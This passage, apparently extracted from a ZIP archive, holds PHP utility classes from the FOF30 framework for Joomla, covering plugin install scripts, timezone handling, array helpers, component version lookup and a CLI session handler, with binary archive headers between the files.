$db->getQuery(true); $query->delete('#__menu') ->where($db->qn('id') . ' = ' . $db->q($id)); $db->setQuery($query); try { $db->execute(); } catch (Exception $exc) { // Nothing } } } } PK���\��=���$fof30/Utils/InstallScript/Plugin.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils\InstallScript; defined('_JEXEC') || die; use Exception; use FOF30\Database\Installer; use JLoader; use Joomla\CMS\Factory; use Joomla\CMS\Installer\Adapter\ComponentAdapter; use Joomla\CMS\Log\Log; // In case FOF's autoloader is not present yet, e.g. new installation if (!class_exists('FOF30\\Utils\\InstallScript\\BaseInstaller', true)) { require_once __DIR__ . '/BaseInstaller.php'; } /** * A helper class which you can use to create plugin installation scripts. * * Example usage: class PlgSystemExampleInstallerScript extends FOF30\Utils\InstallScript\Module * * NB: The class name is always Plg<Plugin Folder><Plugin Name>InstallerScript per Joomla's conventions. * * This namespace contains more classes for creating installation scripts for other kinds of Joomla! extensions as well. * Do keep in mind that only components, modules and plugins could have post-installation scripts before Joomla! 3.3. */ class Plugin extends BaseInstaller { /** * The plugins's name, e.g. foobar (for plg_system_foobar). Auto-filled from the class name. * * @var string */ protected $pluginName = ''; /** * The plugins's folder, e.g. system (for plg_system_foobar). Auto-filled from the class name. * * @var string */ protected $pluginFolder = ''; /** * The path where the schema XML files are stored. The path is relative to the folder which contains the extension's * files. * * @var string */ protected $schemaXmlPath = 'sql/xml'; /** * Plugin installer script constructor. */ public function __construct() { // Get the plugin name and folder from the class name (it's always plgFolderPluginInstallerScript) if necessary. if (empty($this->pluginFolder) || empty($this->pluginName)) { $class = get_class($this); $words = preg_replace('/(\s)+/', '_', $class); $words = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $words)); $classParts = explode('_', $words); if (empty($this->pluginFolder)) { $this->pluginFolder = $classParts[1]; } if (empty($this->pluginName)) { $this->pluginName = $classParts[2]; } } } /** * Joomla! pre-flight event. This runs before Joomla! installs or updates the component. This is our last chance to * tell Joomla! if it should abort the installation. * * @param string $type Installation type (install, update, * discover_install) * @param ComponentAdapter $parent Parent object * * @return boolean True to let the installation proceed, false to halt the installation */ public function preflight($type, $parent) { // Check the minimum PHP version if (!$this->checkPHPVersion()) { return false; } // Check the minimum Joomla! version if (!$this->checkJoomlaVersion()) { return false; } // Clear op-code caches to prevent any cached code issues $this->clearOpcodeCaches(); return true; } /** * Runs after install, update or discover_update. In other words, it executes after Joomla! has finished installing * or updating your component. This is the last chance you've got to perform any additional installations, clean-up, * database updates and similar housekeeping functions. * * @param string $type install, update or discover_update * @param ComponentAdapter $parent Parent object * * @return void * @throws Exception * */ public function postflight($type, $parent) { /** * We are not doing dependency tracking for modules and plugins because of the way Joomla package uninstallation * works. FOF's uninstall() method would get called before the extensions are uninstalled, therefore its * uninstallation would fail and make the entire package uninstallation to fail (the package is impossible to * uninstall). */ // Add ourselves to the list of extensions depending on FOF30 // $this->addDependency('fof30', $this->getDependencyName()); // Install or update database $schemaPath = $parent->getParent()->getPath('source') . '/' . $this->schemaXmlPath; if (@is_dir($schemaPath)) { $dbInstaller = new Installer(Factory::getDbo(), $schemaPath); $dbInstaller->updateSchema(); } // Make sure everything is copied properly $this->bugfixFilesNotCopiedOnUpdate($parent); // Add post-installation messages on Joomla! 3.2 and later $this->_applyPostInstallationMessages(); // Clear the opcode caches again - in case someone accessed the extension while the files were being upgraded. $this->clearOpcodeCaches(); } /** * Runs on uninstallation * * @param ComponentAdapter $parent The parent object */ public function uninstall($parent) { // Uninstall database $schemaPath = $parent->getParent()->getPath('source') . '/' . $this->schemaXmlPath; // Uninstall database if (@is_dir($schemaPath)) { $dbInstaller = new Installer(Factory::getDbo(), $schemaPath); $dbInstaller->removeSchema(); } // Uninstall post-installation messages on Joomla! 3.2 and later $this->uninstallPostInstallationMessages(); /** * We are not doing dependency tracking for modules and plugins because of the way Joomla package uninstallation * works. FOF's uninstall() method would get called before the extensions are uninstalled, therefore its * uninstallation would fail and make the entire package uninstallation to fail (the package is impossible to * uninstall). */ // Remove ourselves from the list of extensions depending on FOF30 // $this->removeDependency('fof30', $this->getDependencyName()); } /** * Fix for Joomla bug: sometimes files are not copied on update. * * We have observed that ever since Joomla! 1.5.5, when Joomla! is performing an extension update some files / * folders are not copied properly. This seems to be a bit random and seems to be more likely to happen the more * added / modified files and folders you have. We are trying to work around it by retrying the copy operation * ourselves WITHOUT going through the manifest, based entirely on the conventions we follow for Akeeba Ltd's * extensions. * * @param ComponentAdapter $parent */ protected function bugfixFilesNotCopiedOnUpdate($parent) { Log::add("Joomla! extension update workaround for $this->pluginFolder plugin $this->pluginName", Log::INFO, 'fof3_extension_installation'); $temporarySource = $parent->getParent()->getPath('source'); $copyMap = [ // Plugin files $temporarySource => JPATH_ROOT . '/plugins/' . $this->pluginFolder . '/' . $this->pluginName, // Language (always stored in administrator for plugins) $temporarySource . '/language' => JPATH_ADMINISTRATOR . '/language', // Media files, e.g. /media/plg_system_foobar $temporarySource . '/media' => JPATH_ROOT . '/media/' . $this->getDependencyName(), ]; foreach ($copyMap as $source => $target) { Log::add(__CLASS__ . ":: Conditional copy $source to $target", Log::DEBUG, 'fof3_extension_installation'); $ignored = []; if ($source == $temporarySource) { $ignored = [ 'index.html', 'index.htm', 'LICENSE.txt', 'license.txt', 'readme.htm', 'readme.html', 'README.md', 'script.php', 'language', 'media', ]; } $this->recursiveConditionalCopy($source, $target, $ignored); } } /** * Get the extension name for FOF dependency tracking, e.g. plg_system_foobar * * @return string */ protected function getDependencyName() { return 'plg_' . strtolower($this->pluginFolder) . '_' . $this->pluginName; } } PK���\ֽE�66fof30/Utils/StringHelper.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use JLoader; use Joomla\CMS\Application\ApplicationHelper; use Joomla\CMS\Factory; use Joomla\CMS\Log\Log; abstract class StringHelper { /** * Convert a string into a slug (alias), suitable for use in URLs. Please * note that transliteration support is rudimentary at this stage. * * @param string $value A string to convert to slug * * @return string The slug * * @deprecated 3.0 Use \JApplicationHelper::stringURLSafe instead * * @codeCoverageIgnore */ public static function toSlug($value) { if (class_exists('\JLog')) { Log::add('FOF30\\Utils\\StringHelper::toSlug is deprecated. Use \\JApplicationHelper::stringURLSafe instead', Log::WARNING, 'deprecated'); } return ApplicationHelper::stringURLSafe($value); } /** * Convert common northern European languages' letters into plain ASCII. This * is a rudimentary transliteration. * * @param string $value The value to convert to ASCII * * @return string The converted string * * @deprecated 3.0 Use JFactory::getLanguage()->transliterate instead * * @codeCoverageIgnore */ public static function toASCII($value) { if (class_exists('\JLog')) { Log::add('FOF30\\Utils\\StringHelper::toASCII is deprecated. Use JFactory::getLanguage()->transliterate instead', Log::WARNING, 'deprecated'); } $lang = Factory::getLanguage(); return $lang->transliterate($value); } /** * Convert a string to a boolean. * * @param string $string The string. * * @return boolean The converted string */ public static function toBool($string) { $string = trim((string) $string); $string = strtolower($string); if (in_array($string, [1, 'true', 'yes', 'on', 'enabled'], true)) { return true; } if (in_array($string, [0, 'false', 'no', 'off', 'disabled'], true)) { return false; } return (bool) $string; } } PK���\2��nC&C& fof30/Utils/TimezoneWrangler.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use DateTime; use DateTimeZone; use Exception; use FOF30\Container\Container; use FOF30\Date\Date; use Joomla\CMS\User\User; /** * A helper class to wrangle timezones, as used by Joomla!. * * @package FOF30\Utils * * @since 3.1.3 */ class TimezoneWrangler { /** * The default timestamp format string to use when one is not provided * * @var string */ protected $defaultFormat = 'Y-m-d H:i:s T'; /** * When set, this timezone will be used instead of the Joomla! applicable timezone for the user. * * @var DateTimeZone */ protected $forcedTimezone = null; /** * Cache of user IDs to applicable timezones * * @var array */ protected $userToTimezone = []; /** * The component container for which we are created * * @var Container */ protected $container; public function __construct(Container $container) { $this->container = $container; } /** * Get the default timestamp format to use when one is not provided * * @return string */ public function getDefaultFormat() { return $this->defaultFormat; } /** * Set the default timestamp format to use when one is not provided * * @param string $defaultFormat * * @return void */ public function setDefaultFormat($defaultFormat) { $this->defaultFormat = $defaultFormat; } /** * Returns the forced timezone which is used instead of the applicable Joomla! timezone. * * @return DateTimeZone */ public function getForcedTimezone() { return $this->forcedTimezone; } /** * Sets the forced timezone which is used instead of the applicable Joomla! timezone. If the new timezone is * different than the existing one we will also reset the user to timezone cache. * * @param DateTimeZone|string $forcedTimezone * * @return void */ public function setForcedTimezone($forcedTimezone) { // Are we unsetting the forced TZ? if (empty($forcedTimezone)) { $this->forcedTimezone = null; $this->resetCache(); return; } // If the new TZ is a string we have to create an object if (is_string($forcedTimezone)) { $forcedTimezone = new DateTimeZone($forcedTimezone); } $oldTZ = ''; if (is_object($this->forcedTimezone) && ($this->forcedTimezone instanceof DateTimeZone)) { $oldTZ = $this->forcedTimezone->getName(); } if ($oldTZ == $forcedTimezone->getName()) { return; } $this->forcedTimezone = $forcedTimezone; $this->resetCache(); } /** * Reset the user to timezone cache. This is done automatically every time you change the forced timezone. */ public function resetCache() { $this->userToTimezone = []; } /** * Get the applicable timezone for a user. If the user is not a guest and they have a timezone set up in their * profile it will be used. Otherwise we fall back to the Server Timezone as set up in Global Configuration. If that * fails, we use GMT. However, if you have used a non-blank forced timezone that will be used instead, circumventing * this calculation. Therefore the returned timezone is one of the following, by descending order of priority: * - Forced timezone * - User's timezone (explicitly set in their user profile) * - Server Timezone (from Joomla's Global Configuration) * - GMT * * @param User|null $user * * @return DateTimeZone */ public function getApplicableTimezone($user = null) { // If we have a forced timezone use it instead of trying to figure anything out. if (is_object($this->forcedTimezone)) { return $this->forcedTimezone; } // No user? Get the current user. if (is_null($user)) { $user = $this->container->platform->getUser(); } // If there is a cached timezone return that instead. if (isset($this->userToTimezone[$user->id])) { return $this->userToTimezone[$user->id]; } // Prefer the user timezone if it's set. if (!$user->guest) { $tz = $user->getParam('timezone', null); if (!empty($tz)) { try { $this->userToTimezone[$user->id] = new DateTimeZone($tz); return $this->userToTimezone[$user->id]; } catch (Exception $e) { } } } // Get the Server Timezone from Global Configuration with a fallback to GMT $tz = $this->container->platform->getConfig()->get('offset', 'GMT'); try { $this->userToTimezone[$user->id] = new DateTimeZone($tz); } catch (Exception $e) { // If an invalid timezone was set we get to use GMT $this->userToTimezone[$user->id] = new DateTimeZone('GMT'); } return $this->userToTimezone[$user->id]; } /** * Returns a FOF Date object with its timezone set to the user's applicable timezone. * * If no user is specified the current user will be used. * * $time can be a DateTime object (including Date and JDate), an integer (UNIX timestamp) or a date string. If no * timezone is specified in a date string we assume it's GMT. * * @param User $user Applicable user for timezone calculation. Null = current user. * @param mixed $time Source time. Leave blank for current date/time. * * @return Date */ public function getLocalDateTime($user, $time = null) { $time = empty($time) ? 'now' : $time; $date = new Date($time); $tz = $this->getApplicableTimezone($user); $date->setTimezone($tz); return $date; } /** * Returns a FOF Date object with its timezone set to GMT. * * If no user is specified the current user will be used. * * $time can be a DateTime object (including Date and JDate), an integer (UNIX timestamp) or a date string. If no * timezone is specified in a date string we assume it's the user's applicable timezone. * * @param User $user * @param mixed $time * * @return Date */ public function getGMTDateTime($user, $time) { $time = empty($time) ? 'now' : $time; $tz = $this->getApplicableTimezone($user); $date = new Date($time, $tz); $gmtTimezone = new DateTimeZone('GMT'); $date->setTimezone($gmtTimezone); return $date; } /** * Returns a formatted date string in the user's applicable timezone. * * If no format is specified we will use $defaultFormat. * * If no user is specified the current user will be used. * * $time can be a DateTime object (including Date and JDate), an integer (UNIX timestamp) or a date string. If no * timezone is specified in a date string we assume it's GMT. * * $translate requires you to have loaded the relevant translation file (e.g. en-GB.ini). JApplicationCms does that * for you automatically. If you're under CLI, a custom JApplicationWeb etc you will probably have to load this * file * manually. * * @param string|null $format Timestamp format. If empty $defaultFormat is used. * @param User|null $user Applicable user for timezone calculation. Null = current * user. * @param DateTime|Date|string|int|null $time Source time. Leave blank for current date/time. * @param bool $translate Translate day of week and month names? * * @return string */ public function getLocalTimeStamp($format = null, $user = null, $time = null, $translate = false) { $date = $this->getLocalDateTime($user, $time); $format = empty($format) ? $this->defaultFormat : $format; return $date->format($format, true, $translate); } /** * Returns a formatted date string in the GMT timezone. * * If no format is specified we will use $defaultFormat. * * If no user is specified the current user will be used. * * $time can be a DateTime object (including Date and JDate), an integer (UNIX timestamp) or a date string. If no * timezone is specified in a date string we assume it's the user's applicable timezone. * * $translate requires you to have loaded the relevant translation file (e.g. en-GB.ini). JApplicationCms does that * for you automatically. If you're under CLI, a custom JApplicationWeb etc you will probably have to load this * file * manually. * * @param string|null $format Timestamp format. If empty $defaultFormat is used. * @param User|null $user Applicable user for timezone calculation. Null = current * user. * @param DateTime|Date|string|int|null $time Source time. Leave blank for current date/time. * @param bool $translate Translate day of week and month names? * * @return string */ public function getGMTTimeStamp($format = null, $user = null, $time = null, $translate = false) { $date = $this->localToGMT($user, $time); $format = empty($format) ? $this->defaultFormat : $format; return $date->format($format, true, $translate); } /** * Convert a local time back to GMT. Returns a Date object with its timezone set to GMT. * * This is an alias to getGMTDateTime * * @param string|Date $time * @param User|null $user * * @return Date */ public function localToGMT($time, $user = null) { return $this->getGMTDateTime($user, $time); } /** * Convert a GMT time to local timezone. Returns a Date object with its timezone set to the applicable user's TZ. * * This is an alias to getLocalDateTime * * @param string|Date $time * @param User|null $user * * @return Date */ public function GMTToLocal($time, $user = null) { return $this->getLocalDateTime($user, $time); } } PK���\c7.��2�2fof30/Utils/ArrayHelper.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use ArrayAccess; use InvalidArgumentException; use Traversable; /** * ArrayHelper is an array utility class for doing all sorts of odds and ends with arrays. * * Copied from Joomla Framework to avoid class name issues between Joomla! versions 3 and 4. sortObjects is not included * because it needs the UTF-8 package. If you need to use that then you should be using the Joomla! Framework's helper * anyway. */ final class ArrayHelper { /** * Private constructor to prevent instantiation of this class * * @since 1.0 */ private function __construct() { } /** * Function to convert array to integer values * * @param array $array The source array to convert * @param mixed $default A default value (int|array) to assign if $array is not an array * * @return array * * @since 1.0 */ public static function toInteger($array, $default = null) { if (is_array($array)) { return array_map('intval', $array); } if ($default === null) { return []; } if (is_array($default)) { return static::toInteger($default, null); } return [(int) $default]; } /** * Utility function to map an array to a stdClass object. * * @param array $array The array to map. * @param string $class Name of the class to create * @param boolean $recursive Convert also any array inside the main array * * @return object * * @since 1.0 */ public static function toObject(array $array, $class = 'stdClass', $recursive = true) { $obj = new $class; foreach ($array as $k => $v) { if ($recursive && is_array($v)) { $obj->$k = static::toObject($v, $class); } else { $obj->$k = $v; } } return $obj; } /** * Utility function to map an array to a string. * * @param array $array The array to map. * @param string $inner_glue The glue (optional, defaults to '=') between the key and the value. * @param string $outer_glue The glue (optional, defaults to ' ') between array elements. * @param boolean $keepOuterKey True if final key should be kept. * * @return string * * @since 1.0 */ public static function toString(array $array, $inner_glue = '=', $outer_glue = ' ', $keepOuterKey = false) { $output = []; foreach ($array as $key => $item) { if (is_array($item)) { if ($keepOuterKey) { $output[] = $key; } // This is value is an array, go and do it again! $output[] = static::toString($item, $inner_glue, $outer_glue, $keepOuterKey); } else { $output[] = $key . $inner_glue . '"' . $item . '"'; } } return implode($outer_glue, $output); } /** * Utility function to map an object to an array * * @param object $p_obj The source object * @param boolean $recurse True to recurse through multi-level objects * @param string $regex An optional regular expression to match on field names * * @return array * * @since 1.0 */ public static function fromObject($p_obj, $recurse = true, $regex = null) { if (is_object($p_obj) || is_array($p_obj)) { return self::arrayFromObject($p_obj, $recurse, $regex); } return []; } /** * Extracts a column from an array of arrays or objects * * @param array $array The source array * @param string $valueCol The index of the column or name of object property to be used as value * It may also be NULL to return complete arrays or objects (this is * useful together with <var>$keyCol</var> to reindex the array). * @param string $keyCol The index of the column or name of object property to be used as key * * @return array Column of values from the source array * * @since 1.0 * @see http://php.net/manual/en/language.types.array.php * @see http://php.net/manual/en/function.array-column.php */ public static function getColumn(array $array, $valueCol, $keyCol = null) { $result = []; foreach ($array as $item) { // Convert object to array $subject = is_object($item) ? static::fromObject($item) : $item; /* * We process arrays (and objects already converted to array) * Only if the value column (if required) exists in this item */ if (is_array($subject) && (!isset($valueCol) || isset($subject[$valueCol]))) { // Use whole $item if valueCol is null, else use the value column. $value = isset($valueCol) ? $subject[$valueCol] : $item; // Array keys can only be integer or string. Casting will occur as per the PHP Manual. if (isset($keyCol) && isset($subject[$keyCol]) && is_scalar($subject[$keyCol])) { $key = $subject[$keyCol]; $result[$key] = $value; } else { $result[] = $value; } } } return $result; } /** * Utility function to return a value from a named array or a specified default * * @param array|ArrayAccess $array A named array or object that implements ArrayAccess * @param string $name The key to search for * @param mixed $default The default value to give if no key found * @param string $type Return type for the variable (INT, FLOAT, STRING, WORD, BOOLEAN, ARRAY) * * @return mixed * * @throws InvalidArgumentException * @since 1.0 */ public static function getValue($array, $name, $default = null, $type = '') { if (!is_array($array) && !($array instanceof ArrayAccess)) { throw new InvalidArgumentException('The object must be an array or an object that implements ArrayAccess'); } $result = null; if (isset($array[$name])) { $result = $array[$name]; } // Handle the default case if (is_null($result)) { $result = $default; } // Handle the type constraint switch (strtoupper($type)) { case 'INT': case 'INTEGER': // Only use the first integer value @preg_match('/-?[0-9]+/', $result, $matches); $result = @(int) $matches[0]; break; case 'FLOAT': case 'DOUBLE': // Only use the first floating point value @preg_match('/-?[0-9]+(\.[0-9]+)?/', $result, $matches); $result = @(float) $matches[0]; break; case 'BOOL': case 'BOOLEAN': $result = (bool) $result; break; case 'ARRAY': if (!is_array($result)) { $result = [$result]; } break; case 'STRING': $result = (string) $result; break; case 'WORD': $result = (string) preg_replace('#\W#', '', $result); break; case 'NONE': default: // No casting necessary break; } return $result; } /** * Takes an associative array of arrays and inverts the array keys to values using the array values as keys. * * Example: * $input = array( * 'New' => array('1000', '1500', '1750'), * 'Used' => array('3000', '4000', '5000', '6000') * ); * $output = ArrayHelper::invert($input); * * Output would be equal to: * $output = array( * '1000' => 'New', * '1500' => 'New', * '1750' => 'New', * '3000' => 'Used', * '4000' => 'Used', * '5000' => 'Used', * '6000' => 'Used' * ); * * @param array $array The source array. * * @return array * * @since 1.0 */ public static function invert(array $array) { $return = []; foreach ($array as $base => $values) { if (!is_array($values)) { continue; } foreach ($values as $key) { // If the key isn't scalar then ignore it. if (is_scalar($key)) { $return[$key] = $base; } } } return $return; } /** * Method to determine if an array is an associative array. * * @param array $array An array to test. * * @return boolean * * @since 1.0 */ public static function isAssociative($array) { if (is_array($array)) { foreach (array_keys($array) as $k => $v) { if ($k !== $v) { return true; } } } return false; } /** * Pivots an array to create a reverse lookup of an array of scalars, arrays or objects. * * @param array $source The source array. * @param string $key Where the elements of the source array are objects or arrays, the key to pivot on. * * @return array An array of arrays pivoted either on the value of the keys, or an individual key of an object or * array. * * @since 1.0 */ public static function pivot(array $source, $key = null) { $result = []; $counter = []; foreach ($source as $index => $value) { // Determine the name of the pivot key, and its value. if (is_array($value)) { // If the key does not exist, ignore it. if (!isset($value[$key])) { continue; } $resultKey = $value[$key]; $resultValue = $source[$index]; } elseif (is_object($value)) { // If the key does not exist, ignore it. if (!isset($value->$key)) { continue; } $resultKey = $value->$key; $resultValue = $source[$index]; } else { // Just a scalar value. $resultKey = $value; $resultValue = $index; } // The counter tracks how many times a key has been used. if (empty($counter[$resultKey])) { // The first time around we just assign the value to the key. $result[$resultKey] = $resultValue; $counter[$resultKey] = 1; } elseif ($counter[$resultKey] == 1) { // If there is a second time, we convert the value into an array. $result[$resultKey] = [ $result[$resultKey], $resultValue, ]; $counter[$resultKey]++; } else { // After the second time, no need to track any more. Just append to the existing array. $result[$resultKey][] = $resultValue; } } unset($counter); return $result; } /** * Multidimensional array safe unique test * * @param array $array The array to make unique. * * @return array * * @see http://php.net/manual/en/function.array-unique.php * @since 1.0 */ public static function arrayUnique(array $array) { $array = array_map('serialize', $array); $array = array_unique($array); $array = array_map('unserialize', $array); return $array; } /** * An improved array_search that allows for partial matching of strings values in associative arrays. * * @param string $needle The text to search for within the array. * @param array $haystack Associative array to search in to find $needle. * @param boolean $caseSensitive True to search case sensitive, false otherwise. * * @return mixed Returns the matching array $key if found, otherwise false. * * @since 1.0 */ public static function arraySearch($needle, array $haystack, $caseSensitive = true) { foreach ($haystack as $key => $value) { $searchFunc = ($caseSensitive) ? 'strpos' : 'stripos'; if ($searchFunc($value, $needle) === 0) { return $key; } } return false; } /** * Method to recursively convert data to a one dimension array. * * @param array|object $array The array or object to convert. * @param string $separator The key separator. * @param string $prefix Last level key prefix. * * @return array * * @since 1.3.0 */ public static function flatten($array, $separator = '.', $prefix = '') { if ($array instanceof Traversable) { $array = iterator_to_array($array); } elseif (is_object($array)) { $array = get_object_vars($array); } foreach ($array as $k => $v) { $key = $prefix ? $prefix . $separator . $k : $k; if (is_object($v) || is_array($v)) { $array = array_merge($array, static::flatten($v, $separator, $key)); } else { $array[$key] = $v; } } return $array; } /** * Utility function to map an object or array to an array * * @param mixed $item The source object or array * @param boolean $recurse True to recurse through multi-level objects * @param string $regex An optional regular expression to match on field names * * @return array * * @since 1.0 */ private static function arrayFromObject($item, $recurse, $regex) { if (is_object($item)) { $result = []; foreach (get_object_vars($item) as $k => $v) { if (!$regex || preg_match($regex, $k)) { if ($recurse) { $result[$k] = self::arrayFromObject($v, $recurse, $regex); } else { $result[$k] = $v; } } } return $result; } if (is_array($item)) { $result = []; foreach ($item as $k => $v) { $result[$k] = self::arrayFromObject($v, $recurse, $regex); } return $result; } return $item; } } PK���\���S S fof30/Utils/ComponentVersion.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Factory; use SimpleXMLElement; /** * Retrieve the version of a component from the cached XML manifest or, if it's not present, the version recorded in the * database. */ abstract class ComponentVersion { /** * A cache with the version numbers of components * * @var array * * @since 3.1.5 */ private static $version = []; /** * Get a component's version. The XML manifest on disk will be tried first. If it's not there or does not have a * version string the manifest cache in the database is tried. If that fails a fake version number will be returned. * * @param string $component The name of the component, e.g. com_foobar * * @return string The version string * * @since 3.1.5 */ public static function getFor($component) { if (!isset(self::$version[$component])) { self::$version[$component] = null; } if (is_null(self::$version[$component])) { self::$version[$component] = self::getVersionFromManifest($component); } if (is_null(self::$version[$component])) { self::$version[$component] = self::getVersionFromDatabase($component); } if (is_null(self::$version[$component])) { self::$version[$component] = 'dev-' . str_replace(' ', '_', microtime(false)); } return self::$version[$component]; } /** * Get a component's version from the manifest cache in the database * * @param string $component The component's name * * @return string The component version or null if none is defined * * @since 3.1.5 */ private static function getVersionFromDatabase($component) { $db = Factory::getDbo(); $query = $db->getQuery(true) ->select($db->qn('manifest_cache')) ->from($db->qn('#__extensions')) ->where($db->qn('element') . ' = ' . $db->q($component)) ->where($db->qn('type') . ' = ' . $db->q('component')); try { $json = $db->setQuery($query)->loadResult(); } catch (Exception $e) { return null; } if (empty($json)) { return null; } $options = json_decode($json, true); if (empty($options)) { return null; } if (!isset($options['version'])) { return null; } return $options['version']; } /** * Get a component's version from the manifest file on disk. IMPORTANT! The manifest for com_something must be named * something.xml. * * @param string $component The component's name * * @return string The component version or null if none is defined * * @since 1.2.0 */ private static function getVersionFromManifest($component) { $bareComponent = str_replace('com_', '', $component); $file = JPATH_ADMINISTRATOR . '/components/' . $component . '/' . $bareComponent . '.xml'; if (!is_file($file) || !is_readable($file)) { return null; } $data = @file_get_contents($file); if (empty($data)) { return null; } try { $xml = new SimpleXMLElement($data, LIBXML_COMPACT | LIBXML_NONET | LIBXML_ERR_NONE); } catch (Exception $e) { return null; } $versionNode = $xml->xpath('/extension/version'); if (empty($versionNode)) { return null; } return (string) ($versionNode[0]); } } PK���\����!fof30/Utils/CliSessionHandler.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use FOF30\Encrypt\Randval; use JSessionHandlerInterface; use RuntimeException; class CliSessionHandler implements JSessionHandlerInterface { private $id; private $name = 'clisession'; public function __construct() { $this->makeId(); } /** * Starts the session. * * @return boolean True if started. * * @throws RuntimeException If something goes wrong starting the session. * @since 3.4.8 */ public function start() { return true; } /** * Checks if the session is started. * * @return boolean True if started, false otherwise. * * @since 3.4.8 */ public function isStarted() { return true; } /** * Returns the session ID * * @return string The session ID * * @since 3.4.8 */ public function getId() { return $this->id; } /** * Sets the session ID * * @param string $id The session ID * * @return void * * @since 3.4.8 */ public function setId($id) { $this->id = $id; } /** * Returns the session name * * @return mixed The session name. * * @since 3.4.8 */ public function getName() { return $this->name; } /** * Sets the session name * * @param string $name The name of the session * * @return void * * @since 3.4.8 */ public function setName($name) { $this->name = $name; } /** * Regenerates ID that represents this storage. * * Note regenerate+destroy should not clear the session data in memory only delete the session data from persistent * storage. * * @param boolean $destroy Destroy session when regenerating? * @param integer $lifetime Sets the cookie lifetime for the session cookie. A null value will leave the system * settings unchanged, * 0 sets the cookie to expire with browser session. Time is in seconds, and is not a * Unix timestamp. * * @return boolean True if session regenerated, false if error * * @since 3.4.8 */ public function regenerate($destroy = false, $lifetime = null) { $this->makeId(); return true; } /** * Force the session to be saved and closed. * * This method must invoke session_write_close() unless this interface is used for a storage object design for unit * or functional testing where a real PHP session would interfere with testing, in which case it should actually * persist the session data if required. * * @return void * * @throws RuntimeException If the session is saved without being started, or if the session is already closed. * @since 3.4.8 * @see session_write_close() */ public function save() { // No operation. This is a CLI session, we save nothing. } /** * Clear all session data in memory. * * @return void * * @since 3.4.8 */ public function clear() { $this->makeId(); } private function makeId() { $phpfunc = new Phpfunc(); $rand = new Randval($phpfunc); $this->id = md5($rand->generate(32)); } } PK���\&�4��fof30/Utils/InstallScript.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use FOF30\Utils\InstallScript\Component; // Make sure the new class can be loaded if (!class_exists('FOF30\\Utils\\InstallScript\\Component', true)) { require_once __DIR__ . '/InstallScript/Component.php'; } /** * A helper class which you can use to create component installation scripts. * * This is the old location of the installation script class, maintained for backwards compatibility with FOF 3.0. Please * use the new class FOF30\Utils\InstallScript\Component instead. */ class InstallScript extends Component { } PK���\��;�WWfof30/Utils/MediaVersion.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Utils; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use JDatabaseDriver; use Joomla\CMS\Factory; use Joomla\Registry\Registry; /** * Class MediaVersion * @package FOF30\Utils * * @since 3.5.3 */ class MediaVersion { /** * Cached the version and date of FOF-powered components * * @var array * @since 3.5.3 */ protected static $componentVersionCache = []; /** * The current component's container * * @var Container * @since 3.5.3 */ protected $container; /** * The configured media query version * * @var string|null; * @since 3.5.3 */ protected $mediaVersion; /** * MediaVersion constructor. * * @param Container $c The component container * * @since 3.5.3 */ public function __construct(Container $c) { $this->container = $c; } /** * Get a component's version and date * * @param string $component * @param JDatabaseDriver $db * * @return array * @since 3.5.3 */ protected static function getComponentVersionAndDate($component, $db) { if (array_key_exists($component, self::$componentVersionCache)) { return self::$componentVersionCache[$component]; } $version = '0.0.0'; $date = date('Y-m-d H:i:s'); try { $query = $db->getQuery(true) ->select([ $db->qn('manifest_cache'), ])->from($db->qn('#__extensions')) ->where($db->qn('type') . ' = ' . $db->q('component')) ->where($db->qn('name') . ' = ' . $db->q($component)); $db->setQuery($query); $json = $db->loadResult(); if (class_exists('JRegistry')) { $params = new Registry($json); } else { $params = new Registry($json); } $version = $params->get('version', $version); $date = $params->get('creationDate', $date); } catch (Exception $e) { } self::$componentVersionCache[$component] = [$version, $date]; return self::$componentVersionCache[$component]; } /** * Serialization helper * * This is for the benefit of legacy components which might use Joomla's JS/CSS inclusion directly passing * $container->mediaVersion as the version argument. In FOF 3.5.2 and lower that was always string or null, making * it a safe bet. In FOF 3.5.3 and later it's an object. It's not converted to a string until Joomla builds its * template header. However, Joomla's cache system will try to serialize all CSS and JS definitions, including their * parameters of which version is one. Therefore, for those legacy applications, Joomla would be trying to serialize * the MediaVersion object which would try to serialize the container. That would cause an immediate failure since * we protect the Container from being serialized. * * Our Template service knows about this and stringifies the MediaVersion before passing it to Joomla. Legacy apps * may not do that. Using the __sleep and __wakeup methods in this class we make sure that we are essentially * storing nothing but strings in the serialized representation and we reconstruct the container upon * unseralization. That said, it's a good idea to use the Template service instead of $container->mediaVersion * directly or, at the very least, use (string) $container->mediaVersion when using the Template service is not a * viable option. * * @return string[] */ public function __sleep() { $this->componentName = $this->container->componentName; return [ 'mediaVersion', 'componentName', ]; } /** * Unserialization helper * * @return void * @see __sleep */ public function __wakeup() { if (isset($this->componentName)) { $this->container = Container::getInstance($this->componentName); } } /** * Returns the media query version string * * @return string * @since 3.5.3 */ public function __toString() { if (empty($this->mediaVersion)) { $this->mediaVersion = $this->getDefaultMediaVersion(); } return $this->mediaVersion; } 